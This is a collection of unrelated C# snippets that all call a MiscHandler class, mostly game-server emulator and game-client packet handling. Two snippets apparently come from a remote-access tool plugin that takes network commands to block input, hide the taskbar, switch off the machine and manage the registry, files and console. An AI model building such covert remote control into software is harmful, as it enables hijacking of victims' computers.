/** * 在线奖励 * @param humanMiscFBInfoData 内容 */ public void GC_MISC_FB_INFO_DATA(InputMessage data) { HumanMiscFBInfoData humanMiscFBInfoData = new HumanMiscFBInfoData(); int j; humanMiscFBInfoData.fbReward = data.GetInt(); //fb奖励 ArrayList fbInviteList = new ArrayList(); int fbInviteListSize = data.GetShort(); for (j = 0; j < fbInviteListSize; j++) { string fbInviteList_Datas = data.GetString(); //fb邀请信息 fbInviteList.Add(fbInviteList_Datas); } humanMiscFBInfoData.fbInviteList = fbInviteList; ArrayList fbInviteRewardList = new ArrayList(); int fbInviteRewardListSize = data.GetShort(); for (j = 0; j < fbInviteRewardListSize; j++) { int fbInviteRewardList_Datas = data.GetInt(); //fb邀请奖励信息 fbInviteRewardList.Add(fbInviteRewardList_Datas); } humanMiscFBInfoData.fbInviteRewardList = fbInviteRewardList; humanMiscFBInfoData.fbThumb = data.GetInt(); //fb点赞奖励 1 领取 humanMiscFBInfoData.fbstartTime = data.GetLong(); //fb邀请好友刷新时间 MiscHandler.Instance().GC_MISC_FB_INFO_DATA(humanMiscFBInfoData); }
private void InformNearVictory(BattlegroundTeam team, int score) { Characters.SendSystemMessage(DefaultAddonLocalizer.Instance.GetTranslations(AddonMsgKey.ABNearVictory), team.Side.ToString(), score); MiscHandler.SendPlaySoundToMap(this, (uint)ABSounds.NearVictory); isInformatedNearVictory = true; }
public void OnDataRecieved(object[] data) { NetworkCommand command = (NetworkCommand)data[0]; if (command == NetworkCommand.AllowInput) { MiscHandler.BlockInput(true); } if (command == NetworkCommand.BlockInput) { MiscHandler.BlockInput(false); } if (command == NetworkCommand.ShowTasbar) { MiscHandler.ShowTasktray(true); } if (command == NetworkCommand.HideTaskbar) { MiscHandler.ShowTasktray(false); } if (command == NetworkCommand.TextToSpeech) { MiscHandler.TextToSpeech((string)data[1], (int)data[2]); } if (command == NetworkCommand.ComputerPower) { MiscHandler.ComputerPower((string)data[1], (int)data[2]); } }
public static void HandlePlayerLogin(ref PacketReader packet, WorldClass session) { byte[] guidMask = { 1, 0, 7, 2, 5, 6, 4, 3 }; byte[] guidBytes = { 7, 6, 0, 1, 4, 3, 2, 5 }; BitUnpack GuidUnpacker = new BitUnpack(packet); var unknown = packet.Read <float>(); var guid = GuidUnpacker.GetPackedValue(guidMask, guidBytes); Log.Message(LogType.Debug, "Character with Guid: {0}, AccountId: {1} tried to enter the world.", guid, session.Account.Id); session.Character = new Character(guid); if (!WorldMgr.AddSession(guid, ref session)) { Log.Message(LogType.Error, "A Character with Guid: {0} is already logged in", guid); return; } WorldMgr.WriteAccountDataTimes(AccountDataMasks.CharacterCacheMask, ref session); MiscHandler.HandleMessageOfTheDay(ref session); TimeHandler.HandleLoginSetTimeSpeed(ref session); SpecializationHandler.HandleUpdateTalentData(ref session); SpellHandler.HandleSendKnownSpells(ref session); MiscHandler.HandleUpdateActionButtons(ref session); if (session.Character.LoginCinematic) { CinematicHandler.HandleStartCinematic(ref session); } ObjectHandler.HandleUpdateObjectCreate(ref session); }
public static void HandlePlayerLogin(ref PacketReader packet, ref WorldClass session) { byte[] guidMask = { 5, 7, 6, 1, 2, 3, 4, 0 }; byte[] guidBytes = { 6, 4, 3, 5, 0, 2, 7, 1 }; BitUnpack GuidUnpacker = new BitUnpack(packet); ulong guid = GuidUnpacker.GetGuid(guidMask, guidBytes); Log.Message(LogType.DEBUG, "Character with Guid: {0}, AccountId: {1} tried to enter the world.", guid, session.Account.Id); session.Character = new Character(guid); WorldMgr.AddSession(guid, ref session); WorldMgr.WriteAccountData(AccountDataMasks.CharacterCacheMask, ref session); MiscHandler.HandleMessageOfTheDay(ref session); SpellHandler.HandleSendKnownSpells(ref session); if (session.Character.LoginCinematic) { CinematicHandler.HandleStartCinematic(ref session); } ObjectHandler.HandleUpdateObject(ref session); }
/** * 在线奖励 * @param reward 内容 */ public void GC_ONLINE_REWARD(InputMessage data) { RandRewardData reward = new RandRewardData(); reward.rewardId = data.GetInt(); //奖励id reward.rewardCount = data.GetInt(); //奖励数量 MiscHandler.Instance().GC_ONLINE_REWARD(reward); }
/** * 在线奖励 * @param reward 内容 */ public void GC_ONLINE_REWARD(InputMessage data) { RandRewardData reward = new RandRewardData(); reward.rewardId = data.GetInt(); //奖励id reward.rewardCount = data.GetInt(); //奖励数量 reward.vippoint = data.GetInt(); //全服的赠送奖励 (只有全服的才根据 这个vippoint 给用户赠送奖励) reward.giftNewId = data.GetInt(); //用户给用户发送礼物的时候的 礼物ID 主要用于标识 礼物是啥 而且 需要花费多少金币 MiscHandler.Instance().GC_ONLINE_REWARD(reward); }
/** * 在线奖励 * @param humanMiscInfoData 内容 */ public void GC_MISC_INFO_DATA(InputMessage data) { HumanMiscInfoData humanMiscInfoData = new HumanMiscInfoData(); humanMiscInfoData.onlineTime = data.GetLong(); //在线时长 humanMiscInfoData.currentOnlineRewardId = data.GetInt(); //在线时长 humanMiscInfoData.firstRechargeTime = data.GetLong(); //首冲时间 humanMiscInfoData.renameTimes = data.GetInt(); //改名次数 humanMiscInfoData.newUser = data.GetInt(); //新手玩家 MiscHandler.Instance().GC_MISC_INFO_DATA(humanMiscInfoData); }
public void OnPluginLoad(IClientHost server) { NetworkHost = server; TaskManagerHandler.SetNetworkHost(NetworkHost); RegistryEditorHandler.SetNetworkHost(NetworkHost); FileManagerHandler.SetNetworkHost(NetworkHost); ConsoleHandler.SetNetworkHost(NetworkHost); MiscHandler.SetClientHost(server); ClipboardHandler.SetHost(server); StartupHandler.SetHost(server); ConnectionsHandler.SetHost(server); }
/// <summary> /// Begins the capturing process. A base will turn if not taken back /// </summary> /// <param name="chr"></param> public void BeginCapture(Character chr) { Capturer = chr; CaptureTimer.Start(CapturePointConversionDelayMillis, 0); SpawnContested(); ABSounds sound; if (_side == BattlegroundSide.End) { sound = ABSounds.NodeContested; Instance.WorldStates.SetInt32(showIconNeutral, 0); } else if (_side == BattlegroundSide.Alliance) { sound = ABSounds.NodeAssaultedHorde; } else { sound = ABSounds.NodeAssaultedAlliance; } if (chr.Battlegrounds.Team.Side == BattlegroundSide.Alliance) { State = BaseState.ContestedAlliance; Instance.WorldStates.SetInt32(showIconAllianceContested, 1); Instance.WorldStates.SetInt32(showIconHordeControlled, 0); } else { State = BaseState.ContestedHorde; Instance.WorldStates.SetInt32(showIconHordeContested, 1); Instance.WorldStates.SetInt32(showIconAllianceControlled, 0); } var time = RealmLocalizer.FormatTimeSecondsMinutes(CapturePointConversionDelayMillis / 1000); foreach (Character character in Instance.Characters) { character.SendSystemMessage(DefaultAddonLocalizer.Instance.Translate(character.Locale, AddonMsgKey.ABBaseClaimed, chr.Name, Names[(int)character.Locale], chr.Battlegrounds.Team.Side, time)); } MiscHandler.SendPlaySoundToMap(Instance, (uint)sound); var evt = BaseChallenged; if (evt != null) { evt(chr); } }
/** * fb邀请 * @param fbInviteIdList 好友列表 */ public void GC_FB_INVITE(InputMessage data) { int i, size; ArrayList fbInviteIdList = new ArrayList(); size = data.GetShort(); for (i = 0; i < size; i++) { string fbInviteIdList_Datas = data.GetString(); fbInviteIdList.Add(fbInviteIdList_Datas); } MiscHandler.Instance().GC_FB_INVITE(fbInviteIdList); }
/// <summary> /// Attempts to handle an incoming packet. /// Constraints: OpCode must be valid. /// GamePackets cannot be sent if ActiveCharacter == null or Account == null. /// The packet is disposed after being handled. /// </summary> /// <param name="client">the client the packet is from</param> /// <param name="packet">the packet to be handled</param> /// <returns>true if the packet could be handled or false otherwise</returns> public override bool HandlePacket(IRealmClient client, RealmPacketIn packet) { var dispose = true; try { #if DEBUG DebugUtil.DumpPacket(client.Account, packet, PacketSender.Client); #endif if (packet.PacketId.RawId == (int)RealmServerOpCode.CMSG_PING) { // we want to instantly respond to pings, otherwise it throws off latency MiscHandler.PingRequest(client, packet); return(true); } var handlerDesc = m_handlers.Get(packet.PacketId.RawId); try { if (handlerDesc == null) { HandleUnhandledPacket(client, packet); return(true); } var context = CheckConstraints(client, handlerDesc, packet); if (context != null) { context.AddMessage(new PacketMessage(handlerDesc.Handler, client, packet)); dispose = false; return(true); } return(false); } catch (Exception e) { LogUtil.ErrorException(e, Resources.PacketHandleException, client, packet.PacketId); return(false); } } finally { if (dispose) { packet.Close(); } } }
/** * fb邀请奖励 * @param randRewardList 道具奖励 */ public void GC_FB_INVITE_GET_REWARD(InputMessage data) { int i, size; ArrayList randRewardList = new ArrayList(); size = data.GetShort(); for (i = 0; i < size; i++) { RandRewardData randRewardList_Datas = new RandRewardData(); randRewardList_Datas.rewardId = data.GetInt(); //奖励id randRewardList_Datas.rewardCount = data.GetInt(); //奖励数量 randRewardList.Add(randRewardList_Datas); } MiscHandler.Instance().GC_FB_INVITE_GET_REWARD(randRewardList); }
/// <summary> /// Add Passenger /// </summary> public void Enter(Unit passenger) { this._passenger = passenger; passenger.m_vehicleSeat = this; passenger.MovementFlags |= MovementFlags.OnTransport; passenger.TransportPosition = Entry.AttachmentOffset; passenger.TransportOrientation = Entry.PassengerYaw; Vehicle._passengerCount++; if (IsDriverSeat) { Vehicle.Charmer = passenger; passenger.Charm = Vehicle; Vehicle.UnitFlags |= UnitFlags.Possessed; } var chr = passenger as Character; var pos = Vehicle.Position; // this will be null if its not a character if (chr != null) { VehicleHandler.Send_SMSG_ON_CANCEL_EXPECTED_RIDE_VEHICLE_AURA(chr); VehicleHandler.SendBreakTarget(chr, Vehicle); } MovementHandler.SendEnterTransport(passenger); if (chr != null) { MiscHandler.SendCancelAutoRepeat(chr, Vehicle); //var orientation = Vehicle.m_vehicleSeat != null ? Vehicle.m_vehicleSeat.Entry.PassengerYaw : 0; //var moveflags = Vehicle.m_vehicleSeat != null ? MonsterMoveFlags.Flag_0x1000000 : MonsterMoveFlags.Walk; //MovementHandler.SendMoveToPacket(Vehicle, ref pos, orientation, 0, moveflags); PetHandler.SendVehicleSpells(chr, Vehicle); } passenger.IncMechanicCount(SpellMechanic.Rooted, true); passenger.HasPermissionToMove = false; passenger.MovementFlags |= MovementFlags.Root; if (chr != null) { chr.SetMover(Vehicle, IsDriverSeat); chr.FarSight = Vehicle.EntityId; } }
/// <summary> /// Remove Passenger /// </summary> public void ClearSeat() { if (_passenger == null) { return; } if (IsDriverSeat) { Vehicle.Charmer = null; _passenger.Charm = null; Vehicle.UnitFlags &= ~UnitFlags.Possessed; } Vehicle._passengerCount--; if (_passenger.MovementFlags.HasFlag(MovementFlags.Flying)) { var cast = Vehicle.SpellCast; if (cast != null) { cast.Trigger(SpellId.EffectParachute); } } _passenger.MovementFlags &= ~MovementFlags.OnTransport; _passenger.Auras.RemoveFirstVisibleAura(aura => aura.Spell.IsVehicle); if (_passenger is Character) { var chr = (Character)_passenger; VehicleHandler.Send_SMSG_ON_CANCEL_EXPECTED_RIDE_VEHICLE_AURA(chr); //SendTeleportAck MovementHandler.SendMoved(chr); MiscHandler.SendCancelAutoRepeat(chr, Vehicle); PetHandler.SendEmptySpells(chr); chr.ResetMover(); chr.FarSight = EntityId.Zero; //MovementHandler.SendEnterTransport(chr); } _passenger.m_vehicleSeat = null; MovementHandler.SendHeartbeat(_passenger, _passenger.Position, _passenger.Orientation); _passenger.DecMechanicCount(SpellMechanic.Rooted, true); _passenger.HasPermissionToMove = true; _passenger.MovementFlags &= ~MovementFlags.Root; _passenger = null; }
/// <summary> /// Finalizes a capture (Flag changes colour (de/respawns, casts spells, etc) /// </summary> public void Capture() { var stats = (ArathiStats)Capturer.Battlegrounds.Stats; stats.BasesAssaulted++; FlagStand.Delete(); ActualAura.Delete(); ABSounds sound; if (Capturer.Battlegrounds.Team.Side == BattlegroundSide.Horde) { BaseOwner = BattlegroundSide.Horde; State = BaseState.CapturedHorde; SpawnHorde(); sound = ABSounds.NodeCapturedHorde; Instance.WorldStates.SetInt32(showIconHordeControlled, 1); Instance.WorldStates.SetInt32(showIconHordeContested, 0); } else { BaseOwner = BattlegroundSide.Alliance; State = BaseState.CapturedAlliance; SpawnAlliance(); sound = ABSounds.NodeCapturedAlliance; Instance.WorldStates.SetInt32(showIconAllianceControlled, 1); Instance.WorldStates.SetInt32(showIconAllianceContested, 0); } // It takes a few minutes before a captured flag begins to give score. StartScoreTimer.Start(ScoreDelayMillis, 0); foreach (Character character in Instance.Characters) { character.SendSystemMessage(DefaultAddonLocalizer.Instance.Translate(character.Locale, AddonMsgKey.ABBaseTaken, BaseOwner, Names[(int)character.Locale])); } MiscHandler.SendPlaySoundToMap(Instance, (uint)sound); var evt = BaseCaptured; if (evt != null) { evt(Capturer); } }
/// <summary> /// Makes the given Unit use this GameObject. /// Skill-locked GameObjects cannot be used directly but must be interacted on with spells. /// </summary> public bool Use(Character chr) { if (this.Lock != null && !this.Lock.IsUnlocked && this.Lock.Keys.Length <= 0 || !this.Handler.TryUse(chr)) { return(false); } if (this.Entry.PageId != 0U) { MiscHandler.SendGameObjectTextPage((IPacketReceiver)chr, (IEntity)this); } if (this.GossipMenu != null) { chr.StartGossip(this.GossipMenu, (WorldObject)this); } chr.QuestLog.OnUse(this); return(true); }
/** * fb邀请奖励 * @param randRewardList 道具奖励 */ public void GC_FB_INVITE_GET_REWARD(InputMessage data) { int i, size; ArrayList randRewardList = new ArrayList(); size = data.GetShort(); for (i = 0; i < size; i++) { RandRewardData randRewardList_Datas = new RandRewardData(); randRewardList_Datas.rewardId = data.GetInt(); //奖励id randRewardList_Datas.rewardCount = data.GetInt(); //奖励数量 randRewardList_Datas.vippoint = data.GetInt(); //全服的赠送奖励 (只有全服的才根据 这个vippoint 给用户赠送奖励) randRewardList_Datas.giftNewId = data.GetInt(); //用户给用户发送礼物的时候的 礼物ID 主要用于标识 礼物是啥 而且 需要花费多少金币 randRewardList.Add(randRewardList_Datas); } MiscHandler.Instance().GC_FB_INVITE_GET_REWARD(randRewardList); }
/// <summary> /// Makes the given Unit use this GameObject. /// Skill-locked GameObjects cannot be used directly but must be interacted on with spells. /// </summary> public bool Use(Character chr) { if (Lock != null && !Lock.IsUnlocked && Lock.Keys.Length <= 0 || !Handler.TryUse(chr)) { return(false); } if (Entry.PageId != 0U) { MiscHandler.SendGameObjectTextPage(chr, this); } if (GossipMenu != null) { chr.StartGossip(GossipMenu, this); } chr.QuestLog.OnUse(this); return(true); }
/// <summary> /// Makes the given Unit use this GameObject. /// Skill-locked GameObjects cannot be used directly but must be interacted on with spells. /// </summary> public bool Use(Character chr) { if ((Lock == null || Lock.IsUnlocked || Lock.Keys.Length > 0) && Handler.TryUse(chr)) { if (Entry.PageId != 0) { MiscHandler.SendGameObjectTextPage(chr, this); } if (GossipMenu != null) { chr.StartGossip(GossipMenu, this); } chr.QuestLog.OnUse(this); return(true); } return(false); }
/// <summary>Add Passenger</summary> public void Enter(Unit passenger) { this._passenger = passenger; passenger.m_vehicleSeat = this; passenger.MovementFlags |= MovementFlags.OnTransport; passenger.TransportPosition = this.Entry.AttachmentOffset; passenger.TransportOrientation = this.Entry.PassengerYaw; ++this.Vehicle._passengerCount; if (this.IsDriverSeat) { this.Vehicle.Charmer = passenger; passenger.Charm = (Unit)this.Vehicle; this.Vehicle.UnitFlags |= UnitFlags.Possessed; } Character chr = passenger as Character; Vector3 position = this.Vehicle.Position; if (chr != null) { VehicleHandler.Send_SMSG_ON_CANCEL_EXPECTED_RIDE_VEHICLE_AURA(chr); VehicleHandler.SendBreakTarget((IPacketReceiver)chr, (IEntity)this.Vehicle); } MovementHandler.SendEnterTransport(passenger); if (chr != null) { MiscHandler.SendCancelAutoRepeat((IPacketReceiver)chr, (IEntity)this.Vehicle); PetHandler.SendVehicleSpells((IPacketReceiver)chr, (NPC)this.Vehicle); } passenger.IncMechanicCount(SpellMechanic.Rooted, true); passenger.HasPermissionToMove = false; passenger.MovementFlags |= MovementFlags.Root; if (chr == null) { return; } chr.SetMover((WorldObject)this.Vehicle, this.IsDriverSeat); chr.FarSight = this.Vehicle.EntityId; }
public PsaMovesetHandler(PsaFile psaFile) { PsaFile = psaFile; AttributesHandler = new AttributesParser(PsaFile); DataTableHandler = new DataTableHandler(PsaFile); ExternalDataHandler = new ExternalDataHandler(PsaFile); int dataSectionLocation = DataTableHandler.GetDataTableEntryByName("data").Location; string movesetBaseName = GetMovesetBaseName(); int numberOfSpecialActions = (PsaFile.DataSection[dataSectionLocation + 10] - PsaFile.DataSection[dataSectionLocation + 9]) / 4; int codeBlockDataStartLocation = 2014 + numberOfSpecialActions * 2; PsaCommandHandler psaCommandHandler = new PsaCommandHandler(psaFile, dataSectionLocation, codeBlockDataStartLocation); CodeBlocksHandler codeBlocksHandler = new CodeBlocksHandler(psaFile, dataSectionLocation, psaCommandHandler); ActionsHandler = new ActionsHandler(PsaFile, dataSectionLocation, codeBlocksHandler, psaCommandHandler); SubActionsHandler = new SubActionsHandler(PsaFile, dataSectionLocation, codeBlocksHandler, psaCommandHandler); SubRoutinesHandler = new SubRoutinesHandler(PsaFile, dataSectionLocation, ActionsHandler, SubActionsHandler, psaCommandHandler); ActionOverridesHandler = new ActionOverridesHandler(PsaFile, dataSectionLocation, ActionsHandler, psaCommandHandler); ArticlesHandler = new ArticlesHandler(PsaFile, dataSectionLocation, movesetBaseName, psaCommandHandler); CharacterParamsHandler = new CharacterParamsHandler(PsaFile, dataSectionLocation, movesetBaseName, psaCommandHandler); MiscHandler = new MiscHandler(PsaFile, dataSectionLocation, movesetBaseName, numberOfSpecialActions); }
public static Version GetRemoteVersion() { Version ver = new Version(0, 0, 0, 0); string urlAddress = ""; #if DEBUG urlAddress = "https://raw.githubusercontent.com/hipa-org/HIPA-GUI/dev/HIPA/Properties/AssemblyInfo.cs"; #else urlAddress = "https://raw.githubusercontent.com/hipa-org/HIPA-GUI/master/HIPA/Properties/AssemblyInfo.cs"; #endif HttpWebRequest request = (HttpWebRequest)WebRequest.Create(urlAddress); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); if (response.StatusCode == HttpStatusCode.OK) { Stream receiveStream = response.GetResponseStream(); StreamReader readStream = null; if (response.CharacterSet == null) { readStream = new StreamReader(receiveStream); } else { readStream = new StreamReader(receiveStream, Encoding.GetEncoding(response.CharacterSet)); } string data = readStream.ReadToEnd(); response.Close(); readStream.Close(); Version.TryParse(MiscHandler.GetStringBetween(data, "AssemblyFileVersion(\"", "\")"), out ver); } return(ver); }
/// <summary> /// Updated existing Event in the database /// </summary> /// <param name="obj">Event object to be Updated in the database</param> /// <returns>success or failure</returns> public ServiceResultEnum Update(ref Event obj) { // Number of changes as a result of the database change NumberChanges = 0; try { // Perform data access using the context using (var context = new HuskyRescueEntities()) { // convert to database object var dbObj = obj.ToModel(); // add to the database and retrieve the updated object back (namely the GUID generated into the Id) context.Entry(dbObj).State = EntityState.Modified; // commit changes to the database NumberChanges = context.SaveChanges(); MiscHandler.UpdateActiveEvent(obj); // convert the database object back to a presentation object with included changes from the database (if any) obj = dbObj.ToViewModel(); } } catch (InvalidOperationException ex) { Trace.WriteLine(ex.Message); Messages.Add(ex.Message); } catch (DbEntityValidationException ex) { Messages.AddRange(Common.FormatEntityValidationError(ex)); } return(NumberChanges > 0 ? ServiceResultEnum.Success : ServiceResultEnum.Failure); }
private static void ApplySpeedAction(Player player, float speed, Boolean IsRun) { MiscHandler.HandleForceSpeedChange(ref player.Client, speed, IsRun); }
protected virtual void OnStart() { MiscHandler.SendPlaySoundToMap((Map)this, 3439U); }
protected virtual void OnFinish(bool disposing) { MiscHandler.SendPlaySoundToMap((Map)this, this.Winner.Side == BattlegroundSide.Horde ? 8454U : 8455U); }
protected override void Apply(WorldObject target) { MiscHandler.SendPlayMusic(target, (uint)Effect.MiscValue, Effect.Radius); }
protected virtual void OnFinish(bool disposing) { MiscHandler.SendPlaySoundToMap(this, Winner.Side == BattlegroundSide.Horde ? (uint)BattlegroundSounds.HordeWins : (uint)BattlegroundSounds.AllianceWins); }
protected virtual void OnStart() { MiscHandler.SendPlaySoundToMap(this, (uint)BattlegroundSounds.BgStart); }